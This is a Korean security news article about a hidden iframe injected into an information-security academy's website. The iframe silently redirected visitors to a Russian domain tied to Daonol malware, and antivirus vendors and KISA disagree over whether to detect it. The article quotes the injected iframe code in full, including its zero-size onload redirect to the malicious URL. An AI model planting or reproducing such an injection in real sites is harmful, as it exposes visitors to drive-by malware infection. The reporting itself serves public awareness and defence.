각 백신업체들 정책상 차이로 진단 달라
올해 초 모 정보보호학원 홈페이지에서는 키보드보안 프로그램을 설치하라며 액티브X 설치를 사용자들에게 요구했지만 알고 보니 이 키보드보안 프로그램이란 것은 숏컷(Shortcut)류의 스파이웨어를 숨기고 있는 애드웨어였다.
그런데 이번엔 이 정보보호학원 홈페이지에서 특정 URL로 접근시키는 아이프레임(iframe)이 삽입된 것이 발견됐다. 사이트 접속시 악성코드 및 바이러스 감염부분에 대해 노출이 되고 있었던 것이다. 이들 사이트들은 정보보호학원의 영업사원들이 운영하는 홈페이지로 사실 상 관리가 제대로 이루어지지 않고 있었다는 점에서 그에 대한 대책마련이 필요하다.
사용자 입장에서 이들 사이트 접속 시 백신 프로그램을 PC에 설치하고 있고, 주기적으로 업데이트를 했다면 이들 사이트에서 유포하는 악성코드 및 바이러스 감염부분을 감지하고 피해를 입지 않을 수 있다. 하지만 실제 이들 사이트에서 악성코드가 숨겨져 있는 것을 감지하는 것이 모든 백신이 아니라 특정 백신에 한정돼 있다는 것은 문제일 수 있다.
‘카스퍼스키 안티 바이러스 2009’의 경우, 이 사이트 접속 시 ‘Trojan-Clicker.JS.Iframe.bb’ 진단명으로 탐지하고 이를 사용자에게 알리고 있다. 하지만 일부 국내 백신은 이를 진단하지 않고 있는 것으로 나타났다.
모 국내 백신업체 “사용자 피해 없는 만큼, 카스퍼스키 백신이 오진”
모 국내 백신업체 관계자는 “카스퍼스키 백신의 진단 오진”이라며 “사용자 측면에서 혼선이 있을 수 있는 것이 사실이지만 사용자 입장에서 아무런 피해를 입지 않고 있는 상황에서 이를 악성코드로 진단하는 것은 잘못된 것”이라고 밝혔다.
또한 그는 “일부 악성코드와 유사한 아이프레임이 삽입돼 있어서 카스퍼스키 백신은 악성코드로 진단하고 있지만 이 사이트 접속 시 악성코드에 감염되는 일은 없다”고 덧붙였다.
카스퍼스키랩, “현재 피해 없어도 사이트 소스파일 변조, 백신이 탐지해야”
반면 한국카스퍼스키랩 측은 “확정지을 수는 없지만 러시아 도메인을 가진 사이트로 접근을 유도하는 아이프레임이 삽입돼 있고, 비록 해당 URL로의 접근이 현재는 되지 않지만 관리자가 의도하지 않고 웹 사이트의 소스 파일이 변조된 것이므로 백신에서 탐지한 것”이라고 설명했다.
이 정보보호학원 사이트에 변조돼 삽입된 아이프레임은 “frameborder="0" onload="if (!this.src){ this.src='http://the-another-life.ru:8080/index.php'; this.height='0'; this.width='0';}" >xpglnfsfhrviqdloztmxwbaineysnuk”이고, 보이는 것과 같이 여기에는 이 사이트에 접속 시 ‘.ru’라는 러시아 도메인을 가진 웹사이트로 방문자가 모르는 사이에 접속하도록 유도하고 있다. 하지만 현재 이 사이트로의 접근은 단절된 상태다.
이와 관련 국내 한 백신업체 개발자는 “이 사이트에 변조된 아이프레임은 최근 국내에 여러 번 이슈가 됐던 다오놀(Daonol) 악성코드를 유포하는 형태의 프레임인데, 현재는 걸려 있는 URL 연결이 되지 않고 있지만 이전에는 이 정보보호학원 사이트 방문으로 인해 화면이 멈추는 등의 피해를 입은 피해자가 있었을 것”이라며 “이 정보보호학원 사이트 외에도 실제 피해 사이트는 많이 있을 것으로 보인다”고 말했다.
KISA, “어느 쪽이 옳다고 할 수 없어...각 백신업체들 정책상 차이”
이와 관련 한국인터넷진흥원 관계자는 “각 백신업체들이 가진 정책적인 부분에 따른 차이가 있기 때문에 명확히 어떤 쪽이 옳다고 말할 수는 없을 것 같다”고 말하고 “탐지율이 10%도 되지 않는 백신이 있는 것이 사실이지만 이것이 법에 저촉되는 것은 아니다. 그런 측면에서 사용자 스스로가 양질의 백신을 선택하는 방법이 최선일 것”이라고 말했다.
또한 그는 “변조된 사이트에 대해 KISA가 찾아내고 유포지를 차단하는 등 처리하고 있지만 현실적으로 모든 사이트를 다 처리하지 못하는 것이 사실이다. 그런 측면에서 백신에서도 이를 처리해 주면 좋을 테지만 강요할 수는 없는 문제“라고 말하고 “다만 웹사이트 방문자는 해당 웹사이트 관리자에게 이러한 사실을 알려 주는 것이 무엇보다도 중요하다. 만약 그럼에도 불구하고 그에 대한 조치가 이루어지지 않는다면 한국인터넷진흥원 118로 신고 해 줄 것”을 당부했다.
[김정완 기자(boan3@boannews.com)]
<저작권자: 보안뉴스(http://www.boannews.com/) 무단전재-재배포금지>
김정완기자 기사보기
[2024-11-05] 
